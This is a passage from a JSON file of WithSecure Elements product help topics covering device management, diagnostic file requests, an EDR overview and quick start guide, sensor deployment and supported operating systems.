"shortdesc_adding_devices_to_asset__03916", "shortdesc_adding_devices_to_asset__03916": "Adds devices to one or more asset groups.", "content.p_adding_devices_to_asset__0400C": "Asset groups organize devices so you can target scans, scheduling, and reporting at them.", "step.step_adding_devices_to_asset__0C82A": "Under Environment, select Devices.", "step.step_adding_devices_to_asset__05B1D": "In the Devices page, select the devices that you want to add to one or more asset groups.", "step.step_adding_devices_to_asset__076C6": "From the action menu at the bottom of the page, select Manage asset groups > Assign to asset groups.", "step.step_adding_devices_to_asset__01483": "From the drop-down menu, select one or more asset groups to which you want to add the selected devices.", "step.step_adding_devices_to_asset__02604": "Select Assign.", "desc": [ "content.p_adding_devices_to_asset__0400C", { "steps.steps_adding_devices_to_asset__00577": [ "step.step_adding_devices_to_asset__0C82A", "step.step_adding_devices_to_asset__05B1D", "step.step_adding_devices_to_asset__076C6", "step.step_adding_devices_to_asset__01483", "step.step_adding_devices_to_asset__02604" ] } ] }, "managing_devices-latest-en.json": { "title": "title_managing_devices_000001_3E7C63", "title_managing_devices_000001_3E7C63": "Remotely manage a device", "shortdesc": "shortdesc_managing_devices_000002_D29A90", "shortdesc_managing_devices_000002_D29A90": "To send a command to a selected device or manage it via WithSecure Elements Security Center: ", "content.p_managing_devices_000016_1A28A8": "To remotely manage a device:", "content.p_managing_devices_00001C_561387": "The Devices page is displayed.", "step.step_managing_devices_000018_2DD10C": "Under Environment, select Devices on the sidebar.", "subchoice.choice_managing_devices_000021_28A09B": "Computers - shows devices with WithSecure Elements EPP for Computers and WithSecure Elements EPP for Servers", "subchoice.choice_managing_devices_000025_CA436D": "Mobile devices - shows devices with WithSecure Elements Mobile Protection", "subchoice.choice_managing_devices_000028_198B5C": "Connectors - shows devices with WithSecure Elements Connector", "subchoice.choice_managing_devices_00002B_FA2315": "Unmanaged devices - shows devices in a customer Active Directory (not in EPP)", "step.step_managing_devices_00001E_58BAD7": "Select one of the following tabs:", "content.p_managing_devices_00002F_2EEAA4": "A menu is displayed at the bottom of the page.", "step.step_managing_devices_00002D_B16D87": "Select the checkbox next to the name of the device.", "content.note_managing_devices_000033_522DB0": "Note: You can find operations also on the device details page. Some of the operations are shown only there.", "content.p_managing_devices_000035_923091": "The instruction is sent to the selected device.", "step.step_managing_devices_000030_B7A3A3": "Select the desired operation from the menu.", "desc": [ "content.p_managing_devices_000016_1A28A8", { "steps.steps_managing_devices_000017_465ACD": [ "step.step_managing_devices_000018_2DD10C", "content.p_managing_devices_00001C_561387", "step.step_managing_devices_00001E_58BAD7", { "subchoices.choices_managing_devices_000020_9051EB": [ "subchoice.choice_managing_devices_000021_28A09B", "subchoice.choice_managing_devices_000025_CA436D", "subchoice.choice_managing_devices_000028_198B5C", "subchoice.choice_managing_devices_00002B_FA2315" ] }, "step.step_managing_devices_00002D_B16D87", "content.p_managing_devices_00002F_2EEAA4", "step.step_managing_devices_000030_B7A3A3", "content.note_managing_devices_000033_522DB0", "content.p_managing_devices_000035_923091" ] } ] }, "automatically_deleting_computers-latest-en.json": { "title": "title_automatically_deleting_c_0EFD8", "title_automatically_deleting_c_0EFD8": "Automatically delete devices", "shortdesc": "shortdesc_automatically_deleting_c_0A9EB", "shortdesc_automatically_deleting_c_0A9EB": "You can set WithSecure Elements Security Center to automatically delete devices that have been offline for a set number of days. ", "content.note_automatically_deleting_c_01E26": "Note: This feature does not apply to mobile devices.", "content.note_automatically_deleting_c_01763": "Note: You can set the automatic removal of devices only on the Company level.", "content.p_automatically_deleting_c_01062": "To manage automatic deletion:", "content.p_automatically_deleting_c_07BD7": "The Devices page opens.", "step.step_automatically_deleting_c_0BDD6": "Under Environment, select Devices on the sidebar.", "content.p_automatically_deleting_c_04481": "A menu is displayed.", "step.step_automatically_deleting_c_0B781": "Select next to Devices.", "content.p_automatically_deleting_c_0BEEA": "The Manage automatic deletion page opens.", "step.step_automatically_deleting_c_0F492": "Select Manage automatic deletion.", "step.step_automatically_deleting_c_04D86": "Turn on the Automatically delete device... option.", "content.note_automatically_deleting_c_08AA5": "Note: The minimum number of days is seven (7).", "step.step_automatically_deleting_c_0D72A": "In the box, enter the number of days for a device to be offline before it is deleted.", "content.note_automatically_deleting_c_0E766": "Important: If a removed device resumes its activity after being removed, it is automatically added back to your subscription, if your subscription has free space. However, if your subscription is full, the device is not returned to the subscription and is left without protection.", "step.step_automatically_deleting_c_042BC": "Select Save.", "content.p_automatically_deleting_c_0753E": "Devices that stay offline for the specified number of days are deleted automatically.", "desc": [ "content.note_automatically_deleting_c_01E26", "content.note_automatically_deleting_c_01763", "content.p_automatically_deleting_c_01062", { "steps.steps_automatically_deleting_c_07B3F": [ "step.step_automatically_deleting_c_0BDD6", "content.p_automatically_deleting_c_07BD7", "step.step_automatically_deleting_c_0B781", "content.p_automatically_deleting_c_04481", "step.step_automatically_deleting_c_0F492", "content.p_automatically_deleting_c_0BEEA", "step.step_automatically_deleting_c_04D86", "step.step_automatically_deleting_c_0D72A", "content.note_automatically_deleting_c_08AA5", "step.step_automatically_deleting_c_042BC", "content.note_automatically_deleting_c_0E766" ] }, "content.p_automatically_deleting_c_0753E" ] }, "viewing_devices_ad-latest-en.json": { "title": "title_viewing_devices_ad_000001_DF91", "title_viewing_devices_ad_000001_DF91": "View devices based on the Active Directory structure", "shortdesc": "shortdesc_viewing_devices_ad_000002_CFD2", "shortdesc_viewing_devices_ad_000002_CFD2": "You can filter devices based on the Active Directory structure of a company. ", "content.p_viewing_devices_ad_000014_1A6D": "You can use this feature to assign a different profile for the devices in different Active Directory groups, for example, to be used in different sites.", "content.p_viewing_devices_ad_000015_280D": "To view devices based on the Active Directory structure:", "content.p_viewing_devices_ad_00001B_1AB5": "The Devices page is displayed.", "step.step_viewing_devices_ad_000017_25E8": "Under Environment, select Devices on the sidebar.", "content.p_viewing_devices_ad_000020_AE51": "A drop-down menu is displayed, listing all the customer companies associated with your account.", "step.step_viewing_devices_ad_00001D_CDA9": "Select the icon at the top-left corner.", "step.step_viewing_devices_ad_000021_AA2C": "Select the desired company.", "content.note_viewing_devices_ad_000028_56DA": "Note: The drop-down menu is shown only if the company has devices belonging to an Active Directory group.", "content.p_viewing_devices_ad_000029_72CC": "A drop-down menu shows the Active Directory structure of the selected company.", "step.step_viewing_devices_ad_000023_E476": "Then, select the icon next to All devices.", "content.note_viewing_devices_ad_00002D_9116": "Note: The Active Directory structure is built based on the data that is reported by company computers, so it may not be complete. A new Active Directory domain does not show in WithSecure Elements Security Center until WithSecure Elements EPP for Computers or WithSecure Elements EPP for Servers is activated in the computers in that domain.", "step.step_viewing_devices_ad_00002A_3C96": "Select the desired Active Directory group to view all the devices in that group.", "desc": [ "content.p_viewing_devices_ad_000014_1A6D", "content.p_viewing_devices_ad_000015_280D", { "steps.steps_viewing_devices_ad_000016_E92D": [ "step.step_viewing_devices_ad_000017_25E8", "content.p_viewing_devices_ad_00001B_1AB5", "step.step_viewing_devices_ad_00001D_CDA9", "content.p_viewing_devices_ad_000020_AE51", "step.step_viewing_devices_ad_000021_AA2C", "step.step_viewing_devices_ad_000023_E476", "content.note_viewing_devices_ad_000028_56DA", "content.p_viewing_devices_ad_000029_72CC", "step.step_viewing_devices_ad_00002A_3C96", "content.note_viewing_devices_ad_00002D_9116" ] } ] }, "customizing_devices_view-latest-en.json": { "title": "title_customizing_devices_view_0B962", "title_customizing_devices_view_0B962": "Customize the Devices view", "shortdesc": "shortdesc_customizing_devices_view_0DD16", "shortdesc_customizing_devices_view_0DD16": "You can apply filters and you can select which columns you want to be visible in the Devices table. ", "content.p_customizing_devices_view_08C62": "To customize the Devices view:", "content.p_customizing_devices_view_07C2F": "The Devices page is displayed.", "step.step_customizing_devices_view_089A6": "Under Environment, select Devices on the sidebar.", "content.note_customizing_devices_view_08032": "Note: You can remove all the filters by selecting Clear all filters.", "content.p_customizing_devices_view_00CE8": "A list of the devices that match the filtering criteria that you selected is shown.", "step.step_customizing_devices_view_0D84F": "Above the table, from the drop-down menu, select the name of a column for filtering the devices and the desired value for the selected column.", "content.p_customizing_devices_view_0B2A6": "A drop-down menu opens showing the Visible columns list.", "step.step_customizing_devices_view_02481": "At the right corner above the table, select .", "content.p_customizing_devices_view_0617A": "The columns that you selected appear in the table.", "step.step_customizing_devices_view_01E27": "Select the columns that you want to be visible in the table.", "substep.substep_customizing_devices_view_040E1": "Point to the name of a column that you want to move.", "substep.substep_customizing_devices_view_0CDFA": "Depending on where you want the column to appear, drag it up or down in the list.", "step.step_customizing_devices_view_0CD85": "To change the order of the columns in the table:", "substep.substep_customizing_devices_view_0641E": "At the right corner above the table, select .", "substep.substep_customizing_devices_view_03519": "From the drop-down menu, select the desired number of rows.", "content.p_customizing_devices_view_0757C": "The number of rows changes according to your selection.", "step.step_customizing_devices_view_00ACA": "To define the number of rows shown in the table per page, do the following:", "step.step_customizing_devices_view_0DAC3": "If there are more devices than can be shown in the table per page, use the navigation arrows (, ) located above the table to go to the previous or next page.", "content.note_customizing_devices_view_03FFD": "Note: You can remove the views that you have customized by first selecting Delete views, then in the Delete views window selecting the view that you want to remove, and then selecting Delete.", "step.step_customizing_devices_view_070B4": "Select View: > Save as at the top-right corner to save the view that you have customized.", "desc": [ "content.p_customizing_devices_view_08C62", { "steps.steps_customizing_devices_view_09980": [ "step.step_customizing_devices_view_089A6", "content.p_customizing_devices_view_07C2F", "step.step_customizing_devices_view_0D84F", "content.note_customizing_devices_view_08032", "content.p_customizing_devices_view_00CE8", "step.step_customizing_devices_view_02481", "content.p_customizing_devices_view_0B2A6", "step.step_customizing_devices_view_01E27", "content.p_customizing_devices_view_0617A", "step.step_customizing_devices_view_0CD85", { "substeps.substepsalpha_customizingalpha_devicesalpha_viewalpha_051BF": [ "substep.substep_customizing_devices_view_040E1", "substep.substep_customizing_devices_view_0CDFA" ] }, "step.step_customizing_devices_view_00ACA", { "substeps.substepsalpha_customizingalpha_devicesalpha_viewalpha_0A9C9": [ "substep.substep_customizing_devices_view_0641E", "substep.substep_customizing_devices_view_03519" ] }, "content.p_customizing_devices_view_0757C", "step.step_customizing_devices_view_0DAC3", "step.step_customizing_devices_view_070B4", "content.note_customizing_devices_view_03FFD" ] } ] }, "request_diagnostics-latest-en.json": { "title": "title_request_diagnostics_000001C353", "title_request_diagnostics_000001C353": "Request diagnostic data", "shortdesc": "shortdesc_request_diagnostics_000002F991", "shortdesc_request_diagnostics_000002F991": "You can remotely request for a diagnostic file to be uploaded to a WithSecure support team. ", "content.p_request_diagnostics_000016A1ED": "If there is an issue with a device in your managed accounts, the WithSecure Elements Security Center administrator can select the device and make a request to the customer, who allows a diagnostics (WSDIAG) file to be collected and uploaded to WithSecure Elements Security Center. The diagnostics file helps determine the issue and its root cause.", "content.note_request_diagnostics_0000191DD1": "Note: This functionality is available for Elements Agent for Windows - on both servers and workstations - as well as for Elements Mobile Protection.", "content.p_request_diagnostics_00001C56B6": "To request diagnostic data:", "step.step_request_diagnostics_00001E712E": "Log in to Elements Security Center.", "step.step_request_diagnostics_000021D545": "If you are managing multiple accounts, go to the relevant customer account.", "content.p_request_diagnostics_00002826B3": "This opens up a page with device details.", "step.step_request_diagnostics_000023D711": "Once in the correct account, under Environment, select Devices, and select the link for the relevant device (the device that has the issue and for which the wsdiag file is needed).", "content.note_request_diagnostics_000030FD5D": "Note: To check that the request has been sent to the user, in the customer account, go to Environment > Devices and select the three dots icon on the right side and select Manage operations. Verify whether a WSDIAG operation appears in the list with the status Waiting for delivery to the device.", "step.step_request_diagnostics_0000294E43": "On the Actions panel at the bottom of the page, select Request diagnostic file > Request . For privacy purposes, a notification appears for the end user; this does not appear on the server side.", "step.step_request_diagnostics_000036641B": "Make sure that the user allows the diagnostic (WSDIAG) file to be collected. To do this, they must select Allow once they see the notification on their device.", "step.step_request_diagnostics_0000399920": "When the user has allowed the diagnostic (WSDIAG) file to be collected, go back to the Manage operations page in the customer account.", "step.step_request_diagnostics_00003CD10B": "Check if the status has changed to Success, operation was performed.", "step.step_request_diagnostics_00003FDDDE": "On the Manage operations page, get the reference number for the created WSDIAG file.", "content.note_request_diagnostics_0000460C90": "Note: In the support ticket, WithSecure can see the reference number and download the file for further investigation.", "step.step_request_diagnostics_0000422C8D": "Include the reference number in the support ticket to WithSecure Support.", "content.note_request_diagnostics_00004CFA11": "Note: The WSDIAG file is automatically deleted after two weeks from the portal.", "step.step_request_diagnostics_000048821D": "Optionally, download the diagnostic file by selecting the three dots icon in the Action column.", "desc": [ "content.p_request_diagnostics_000016A1ED", "content.note_request_diagnostics_0000191DD1", "content.p_request_diagnostics_00001C56B6", { "steps.steps_request_diagnostics_00001D3D53": [ "step.step_request_diagnostics_00001E712E", "step.step_request_diagnostics_000021D545", "step.step_request_diagnostics_000023D711", "content.p_request_diagnostics_00002826B3", "step.step_request_diagnostics_0000294E43", "content.note_request_diagnostics_000030FD5D", "step.step_request_diagnostics_000036641B", "step.step_request_diagnostics_0000399920", "step.step_request_diagnostics_00003CD10B", "step.step_request_diagnostics_00003FDDDE", "step.step_request_diagnostics_0000422C8D", "content.note_request_diagnostics_0000460C90", "step.step_request_diagnostics_000048821D", "content.note_request_diagnostics_00004CFA11" ] } ] }, "elements_data_recovery-latest-en.json": { "title": "title_elements_data_recovery_000A213", "title_elements_data_recovery_000A213": "Elements data recovery", "shortdesc": "shortdesc_elements_data_recovery_000BA17", "shortdesc_elements_data_recovery_000BA17": "WithSecure maintains the availability of the Elements service and takes care of the necessary backups and any needed recovery actions. ", "content.p_elements_data_recovery_000BD6E": "No actions are required from you.", "content.note_elements_data_recovery_0006C44": "Important: This backup includes only data that is directly relevant to the service provided by WithSecure. It is your responsibility to backup your own documents and other data.", "desc": [ "content.p_elements_data_recovery_000BD6E", "content.note_elements_data_recovery_0006C44" ] }, "concept_edrintroduction-latest-en.json": { "title": "title_introduction_000001_97AF1F95", "title_introduction_000001_97AF1F95": "Elements Endpoint Detection and Response overview", "shortdesc": "shortdesc_introduction_000002_D04F51CC", "shortdesc_introduction_000002_D04F51CC": "WithSecure Elements Endpoint Detection and Response is a leading context-level endpoint detection and response (EDR) solution for companies. ", "content.p_introduction_00000D_02AB4A92": "Organizations can be breached in many ways. Increasingly, the attacks are fileless and do not require attackers to install malware on desktops or laptops. Advanced Persistent Threats (APT) and cyber threats are very expensive issues for companies. They are difficult to recognize using traditional protection methods alone. Also, these attacks can be difficult to analyze and respond to. Defending against these attacks requires both the latest technological solutions and the expertise to analyze and understand the available data.", "content.p_introduction_00000E_13ED40FB": "With its deep bi-directional intelligence and high level of automation, WithSecure Elements Endpoint Detection and Response protects against advanced threats even before breaches happen. It detects incidents with lightweight sensors, which are installed on monitored hosts in the organization. Sensors collect data on behavioral events, such as files being accessed, processes or network connections being created, or something being written into the registry or system log. These events are then further analyzed in the backend. The solution makes real-time detections and also detects incidents by applying new rules to old data.", "content.p_introduction_000010_709221F5": "Often targeted attacks could go unnoticed for months or even years. With WithSecure Elements Endpoint Detection and Response, you can prevent the attack from breaching critical servers through the targeted hosts.", "desc": [ "content.p_introduction_00000D_02AB4A92", "content.p_introduction_00000E_13ED40FB", "content.p_introduction_000010_709221F5" ] }, "quick_start_guide_for_edr-latest-en.json": { "title": "title_quick_start_guide_for_ed_0FB9C", "title_quick_start_guide_for_ed_0FB9C": "Get started with WithSecure Elements Endpoint Detection and Response", "shortdesc": "shortdesc_quick_start_guide_for_ed_09B5A", "shortdesc_quick_start_guide_for_ed_09B5A": "Get started with WithSecure Elements Endpoint Detection and Response in three steps: log in, deploy the endpoint sensor, and verify a test detection.", "content.p_quick_start_guide_for_ed_04EA3": "You need a WithSecure Business Account to access Elements Security Center at WithSecure Elements Security Center. There are two ways to get an account:", "content.note_quick_start_guide_for_ed_0091E": "Tip: If the email has not arrived, check your junk mail folder first.", "step.step_quick_start_guide_for_ed_0DD51": "When you buy the product from a WithSecure partner, the partner usually creates the account for the first administrator. You then receive an email with a temporary password and a login link.", "step.step_quick_start_guide_for_ed_0BC7D": "If you have a subscription key but no account yet, create the first administrator account with the self-registration link to WithSecure Elements Security Center.", "content.p_quick_start_guide_for_ed_05A61": "This quick start guide walks you through the three main steps to start using WithSecure Elements Endpoint Detection and Response: log in to Elements Security Center, deploy the endpoint sensor, and verify that the sensor reports detections.", "substep.substep_quick_start_guide_for_ed_0305C": "Log in at WithSecure Elements Security Center sign-in page with your Business Account credentials. For the login options, see Logging in.", "substep.substep_quick_start_guide_for_ed_0B424": "If you do not have a subscription yet, assign a subscription key as described in Assigning a subscription key for a customer company.", "step.step_quick_start_guide_for_ed_053A5": "Log in to Elements Security Center.", "substep.substep_quick_start_guide_for_ed_04016": "Check that your devices meet the requirements, as described in System requirements.", "substep.substep_quick_start_guide_for_ed_0B98D": "Complete the preinstallation steps for your platform, such as the Windows audit policy and PowerShell ScriptBlock logging settings, or the Linux kernel and auditd requirements. For details, see Preinstallation recommendations.", "substep.substep_quick_start_guide_for_ed_050F4": "Deploy the sensor to your devices, as described in Deploying endpoint sensors on organization devices.", "subsubchoice.choice_quick_start_guide_for_ed_07E01": "For a small number of devices, send an email invitation with a download link, as described in Inviting users by email.", "subsubchoice.choice_quick_start_guide_for_ed_016CC": "For a large-scale deployment, download the installer and distribute it with your own tools, as described in Downloading software from Elements Security Center. For the Windows deployment methods, see Deployment methods for Windows.", "content.p_quick_start_guide_for_ed_08EFA": "", "substep.substep_quick_start_guide_for_ed_0C545": "Choose a deployment method based on scale:", "step.step_quick_start_guide_for_ed_05EC9": "Deploy the endpoint sensor on the devices that you want to monitor.", "substep.substep_quick_start_guide_for_ed_04A0C": "On a monitored endpoint, run the whoami command to create a test event, as described in Simple test with Windows system tools.", "substep.substep_quick_start_guide_for_ed_0DD44": "In Elements Security Center, open Events > Broad Context Detections and check that the test event appears.", "step.step_quick_start_guide_for_ed_06FEF": "Verify the deployment with a test detection.", "desc": [ "content.p_quick_start_guide_for_ed_04EA3", { "steps.ul_quick_start_guide_for_ed_066D7": [ "step.step_quick_start_guide_for_ed_0DD51", "content.note_quick_start_guide_for_ed_0091E", "step.step_quick_start_guide_for_ed_0BC7D" ] }, "content.p_quick_start_guide_for_ed_05A61", { "steps.steps_quick_start_guide_for_ed_0C068": [ "step.step_quick_start_guide_for_ed_053A5", { "substeps.substepsalpha_quickalpha_startalpha_guidealpha_foralpha_edalpha_0D3E5": [ "substep.substep_quick_start_guide_for_ed_0305C", "substep.substep_quick_start_guide_for_ed_0B424" ] }, "step.step_quick_start_guide_for_ed_05EC9", { "substeps.substepsalpha_quickalpha_startalpha_guidealpha_foralpha_edalpha_00685": [ "substep.substep_quick_start_guide_for_ed_04016", "substep.substep_quick_start_guide_for_ed_0B98D", "substep.substep_quick_start_guide_for_ed_050F4", "substep.substep_quick_start_guide_for_ed_0C545", "content.p_quick_start_guide_for_ed_08EFA", { "subsubchoices.ul_quick_start_guide_for_ed_05C68": [ "subsubchoice.choice_quick_start_guide_for_ed_07E01", "subsubchoice.choice_quick_start_guide_for_ed_016CC" ] } ] }, "step.step_quick_start_guide_for_ed_06FEF", { "substeps.substepsalpha_quickalpha_startalpha_guidealpha_foralpha_edalpha_0311E": [ "substep.substep_quick_start_guide_for_ed_04A0C", "substep.substep_quick_start_guide_for_ed_0DD44" ] } ] } ], "related": [ "download_software-latest-en", "deployment_windows-latest-en", "inviting_users-latest-en" ] }, "concept_edrkeyfeatures-latest-en.json": { "title": "title_keyfeatures_000001_70D6ABE4", "title_keyfeatures_000001_70D6ABE4": "Key features", "shortdesc": "shortdesc_keyfeatures_000002_8064DD19", "shortdesc_keyfeatures_000002_8064DD19": "With WithSecure Elements Endpoint Detection and Response, you can be prepared before data breaches happen and ready to analyze and respond to them. ", "content.dt_keyfeatures_000016_F51707A4": "Visualization of detections ", "content.dd_keyfeatures_000017_D22E2317": "Detections can be viewed on a timeline that shows all impacted hosts for easier analysis. The solution provides more insights into potential breaches with context that goes beyond individual malware detections.", "content.dt_keyfeatures_000019_4B2E9999": "Broad Context Detection ", "content.dd_keyfeatures_00001A_2780A6F1": "WithSecure's proprietary behavior-based detection technology shows you only relevant detections and their criticality. Risk levels, confidence, and criticality scores help you to rank and sort the incidents.", "content.dt_keyfeatures_00001D_E304D3E1": "Software reputation ", "content.dd_keyfeatures_00001E_DDCF8107": "Provides visibility to the installed applications to identify all harmful or otherwise unwanted applications and foreign network destinations. You can detect the misuse of services and applications from their proper use based on behavioral events.", "content.dt_keyfeatures_000020_399333A1": "Guided response ", "content.dd_keyfeatures_000021_E135D03E": "To assist you in the analysis and response, the portal has a built-in, step-by-step response guidance and remote actions, such as network isolation, to stop attacks. Alerts include appropriate response guidance to help you respond to breaches.", "content.dt_keyfeatures_000023_BADFE440": "Elevate to WithSecure ", "content.dd_keyfeatures_000025_00839B21": "You can get help from WithSecure cybersecurity experts when responding to breaches. You can request expert guidance from WithSecure's threat analysts how to handle the most complicated cases.", "content.dt_keyfeatures_000029_7C2CD645": "Single-client and management infrastructure ", "content.dd_keyfeatures_00002A_CA97B072": "View and manage incidents directly through the dashboard. The solution integrates with WithSecure Elements Endpoint Protection and WithSecure Elements Vulnerability Management.", "content.dt_keyfeatures_00002E_C548B2E2": "Partner Managed and Company Managed versions ", "content.dd_keyfeatures_00002F_2C20E57F": "The solution is available with options for 250+ seat end-customers to self-manage it.", "desc": [ { "dl.dl_keyfeatures_000014_D0E3D454": [ { "dlentry.dlentry_keyfeatures_000015_3964481B": [ "content.dt_keyfeatures_000016_F51707A4", "content.dd_keyfeatures_000017_D22E2317" ] }, { "dlentry.dlentry_keyfeatures_000018_37456F92": [ "content.dt_keyfeatures_000019_4B2E9999", "content.dd_keyfeatures_00001A_2780A6F1" ] }, { "dlentry.dlentry_keyfeatures_00001C_7E3CBE06": [ "content.dt_keyfeatures_00001D_E304D3E1", "content.dd_keyfeatures_00001E_DDCF8107" ] }, { "dlentry.dlentry_keyfeatures_00001F_697968BE": [ "content.dt_keyfeatures_000020_399333A1", "content.dd_keyfeatures_000021_E135D03E" ] }, { "dlentry.dlentry_keyfeatures_000022_0AF5DED4": [ "content.dt_keyfeatures_000023_BADFE440", "content.dd_keyfeatures_000025_00839B21" ] }, { "dlentry.dlentry_keyfeatures_000028_7AD73E3C": [ "content.dt_keyfeatures_000029_7C2CD645", "content.dd_keyfeatures_00002A_CA97B072" ] }, { "dlentry.dlentry_keyfeatures_00002D_E96820CA": [ "content.dt_keyfeatures_00002E_C548B2E2", "content.dd_keyfeatures_00002F_2C20E57F" ] } ] } ] }, "broad_context_detections-latest-en.json": { "title": "title_broad_context_detections_0C0A1", "title_broad_context_detections_0C0A1": "Broad Context Detections", "shortdesc": "shortdesc_broad_context_detections_0B57C", "shortdesc_broad_context_detections_0B57C": "WithSecure Elements Endpoint Detection and Response uses real-time behavioral, reputational, and big data analysis with machine learning to show you only relevant detections and their criticality. ", "content.p_broad_context_detections_09580": "Broad Context Detections are natively designed for real-life orchestrated, polymorphic attacks. By combining risk levels, information about affected hosts and the prevailing threat landscape, incidents are placed in the context of prevalent situations.", "content.p_broad_context_detections_0FB90": "Broad context detections are visualized on a timeline that includes all impacted hosts, relevant events and their details to better understand the scope of an attack and allow you to detect root causes for incidents based on a flow of disparate events from a multitude of hosts.", "content.p_broad_context_detections_020C7": "Broad Context Detections are supported by Machine Learning engine that distinguishes attacks from the noise. The engine works so that all the past decisions - actual attacks and false positives - create a training set for the engine. All the newly coming detections are being investigated to determine how likely it is that the new detection, based on historical detections, is a false positive.", "desc": [ "content.p_broad_context_detections_09580", "content.p_broad_context_detections_0FB90", "content.p_broad_context_detections_020C7" ], "related": [ "evaluating_detections-latest-en", "handling_detections-latest-en" ] }, "deployment-latest-en.json": { "title": "title_deploying_000001_E1CF2CA7", "title_deploying_000001_E1CF2CA7": "Deploying endpoint sensors on organization devices", "shortdesc": "shortdesc_deploying_000002_92635B4F", "shortdesc_deploying_000002_92635B4F": "Endpoint sensors are lightweight, discreet sensors, which are deployed on all relevant computers within your organization. These sensors collect behavioral data from endpoint devices and are specifically designed to withstand attacks from various attacks. ", "content.p_deploying_000011_9C2AC66F": "When setting up WithSecure Elements Endpoint Detection and Response (formerly known as F-Secure Rapid Detection and Response) for a customer company, you need the endpoint sensor installation package.", "content.p_deploying_000013_C555313C": "The installation package consists of an binary installer file, and an WithSecure Elements Endpoint Detection and Response activation code.", "content.p_deploying_000015_EA31F774": "After the installation package is delivered and the software is installed on the computers, WithSecure Elements Security Center shows you the detections and statistics for each managed host.", "desc": [ "content.p_deploying_000011_9C2AC66F", "content.p_deploying_000013_C555313C", "content.p_deploying_000015_EA31F774" ] }, "sysreqs-latest-en.json": { "title": "title_sysreqs_000001_FDF66144", "title_sysreqs_000001_FDF66144": "System requirements", "shortdesc": "shortdesc_sysreqs_000002_C0D8ABAB", "shortdesc_sysreqs_000002_C0D8ABAB": "Lists of supported browsers and operating systems. ", "content.dt_sysreqs_000012_0465F11E": "Supported browsers", "content.dd_sysreqs_000013_981956B8": "The WithSecure Elements portal supports the latest versions of the following browsers:", "choice.choice_sysreqs_000017_F952460A": "Microsoft Edge", "choice.choice_sysreqs_000018_44DAE4A8": "Mozilla Firefox", "choice.choice_sysreqs_000019_4C60E4FE": "Google Chrome", "choice.choice_sysreqs_00001A_2ED6A875": "Safari", "content.dt_sysreqs_00001B_48F24BF4": "Supported operating systems", "content.dd_sysreqs_00001C_4045734B": "", "content.note_sysreqs_00001D_9298B036": "Note: The WithSecure supports only operating systems that are currently supported by their vendor. Learn more about WithSecure's operating system support policies at Product updates and supported versions. If you are interested in long-term support for a platform that vendors no longer support, contact your sales representative.
", "content.dt_sysreqs_000023_4CBFFF7F": "Windows workstations ", "content.dd_sysreqs_000024_A45FA00F": "", "choice.choice_sysreqs_000026_F32E36AB": "Microsoft Windows 11 (x86-64 or ARM64 editions)", "content.note_sysreqs_000027_CE04D20B": "Note: The client requires .NET Framework 4.7.2 and installs it automatically if it is missing.
", "content.note_sysreqs_000028_A598578F": "Note: All operating systems must have TLS 1.2 configured and enabled. Also, the operating systems must support Microsoft Azure Code Signing certificates. You can find more information in the Microsoft Azure Code Signing support article.
", "content.p_sysreqs_0000EA_FFAE7B48": "", "content.dt_sysreqs_00002B_53A0C225": "Windows servers ", "content.dd_sysreqs_00002C_1AFC54FB": "", "choice.choice_sysreqs_00002E_BCC08CBD": "Microsoft? Windows Server 2016 Standard", "choice.choice_sysreqs_000030_BABF1389": "Microsoft? Windows Server 2016 Essentials", "choice.choice_sysreqs_000032_4A9D52C8": "Microsoft? Windows Server 2016 Datacenter", "choice.choice_sysreqs_000034_AE2E9D89": "Microsoft? Windows Server 2016 Core", "choice.choice_sysreqs_000036_4F40C329": "Microsoft? Windows Server 2019 Standard", "choice.choice_sysreqs_000038_09C42ED4": "Microsoft? Windows Server 2019 Essentials", "choice.choice_sysreqs_00003A_EC5F2EFC": "Microsoft? Windows Server 2019 Datacenter", "choice.choice_sysreqs_00003C_4CC75074": "Microsoft? Windows Server 2019 Core", "choice.choice_sysreqs_00003E_8D59E56E": "Microsoft? Windows Server 2022 Standard", "choice.choice_sysreqs_000040_A6C15185": "Microsoft? Windows Server 2022 Essentials", "choice.choice_sysreqs_000042_3CEFB5B6": "Microsoft? Windows Server 2022 Datacenter", "choice.choice_sysreqs_000044_B7A01665": "Microsoft? Windows Server 2022 Core", "choice.choice_sysreqs_000046_5DABD53F": "Microsoft? Windows Server 2025 Standard", "choice.choice_sysreqs_000048_647EFEBC": "Microsoft? Windows Server 2025 Datacenter", "choice.choice_sysreqs_00004A_6A812B69": "Microsoft? Windows Server 2025 Core", "content.note_sysreqs_00004C_52CA986A": "Note: Windows Server 2016 Nano is not supported.
", "content.p_sysreqs_0000EB_243604A4": "", "content.dd_sysreqs_00004D_0B4CB7F1": "", "content.dd_p_sysreqs_00004E_E5AC7FA1": "All Microsoft Windows Server editions are supported except:", "choice.choice_sysreqs_000050_37B2419A": "Windows Server for Itanium processor", "choice.choice_sysreqs_000051_574FFBF5": "Windows HPC editions for specific hardware", "choice.choice_sysreqs_000052_60A9CD8A": "Windows MultiPoint Server", "choice.choice_sysreqs_000053_9D1DE7C9": "Windows Home Server", "content.p_sysreqs_0000EC_73F72E10": "", "content.note_sysreqs_000054_61E24383": "Note:
", "content.p_sysreqs_0000ED_D15D8548": "", "content.dt_sysreqs_00005C_63F2943A": "macOS ", "content.dd_sysreqs_00005D_18BCCDF8": "", "content.note_sysreqs_00005E_82E55332": "Note: All operating systems must have audit and TLS 1.2 configured and enabled.
", "choice.choice_sysreqs_000060_7AB3BAD6": "macOS version 26 \"Tahoe\"", "choice.choice_sysreqs_000061_78B2619F": "macOS version 15 \"Sequoia\"", "choice.choice_sysreqs_000062_0CD662E2": "macOS version 14 \"Sonoma\"", "content.dt_sysreqs_000064_D7263684": "Linux ", "content.dd_sysreqs_000065_8F094E31": "", "content.note_sysreqs_000066_E7603C11": "Note: All operating systems must have audit and TLS 1.2 configured and enabled.
", "content.dd_p_sysreqs_000067_3C5409E6": "The following 64-bit (AMD64/EM64T) distributions are supported:
